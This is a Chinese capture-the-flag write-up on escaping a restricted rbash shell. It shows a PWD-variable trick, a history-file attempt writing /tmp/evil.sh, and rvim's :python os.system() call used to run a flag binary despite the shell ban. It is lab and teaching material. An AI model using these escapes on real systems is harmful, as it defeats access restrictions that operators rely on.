School-bus "jail" writeup

这是一道rbash的题目，ssh登录上去后发现

```
ctfuser@jail:~$ export
declare -x HOME="/home/ctfuser"
declare -x LOGNAME="ctfuser"
declare -x MAIL="/var/mail/ctfuser"
declare -x OLDPWD
declare -rx PATH="/home/ctfuser/bin"
declare -x PWD="/home/ctfuser"
declare -rx SHELL="/bin/rbash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="222.205.46.206 63419 22"
declare -x SSH_CONNECTION="222.205.46.206 63419 172.17.0.24 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm"
declare -x USER="ctfuser"
```

PATH变量和SHELL变量都是只读的，PATH变量被替换成了用户目录下的bin文件夹。bin文件夹下只有rvim这一个程序。rbash下执行程序的时候不能带有'/', 无法cd

```
ctfuser@jail:~$ /bin/rvim
-rbash: /bin/rvim: restricted: cannot specify `/' in command names
```

想到了可以修改PWD环境变量改变当前工作目录

```
ctfuser@jail:~$ export PWD=~/bin
ctfuser@jail:~/bin$
```

执行rvim， 尝试在rvim下执行shell命令，但被禁止

```
:!/bin/shE145: Shell commands not allowed in rvim
```

发现根目录下有一个叫flag_thisfilename1ss0longt0guess_HAHAHA的文件，用rvim打开发现是一个可执行文件，猜测可能需要执行这个文件才能拿到flag

尝试History file trick

1. set HISTFILE=/tmp/evil.sh
2. set HISTSIZE=0
3. set HISTSIZE=100

4. 在bash下输入 #!/bin/sh
5. 在bash下输入 /flag_thisfilename1ss0longt0guess_HAHAHA
6. logout
7. 重新ssh连上，发现tmp下面evil.sh的内容确实改变了，但是没有权限执行。

只能继续考虑rvim，rvim不能执行shell命令，但是可以在里面执行python，perl，python3，ruby等等命令。输入[Esc]:version查看当前vim的版本，以及支持哪些features，发现python是支持的。

```
:python import os;os.system('/flag_thisfilename1ss0longt0guess_HAHAHA')
```

拿到flag~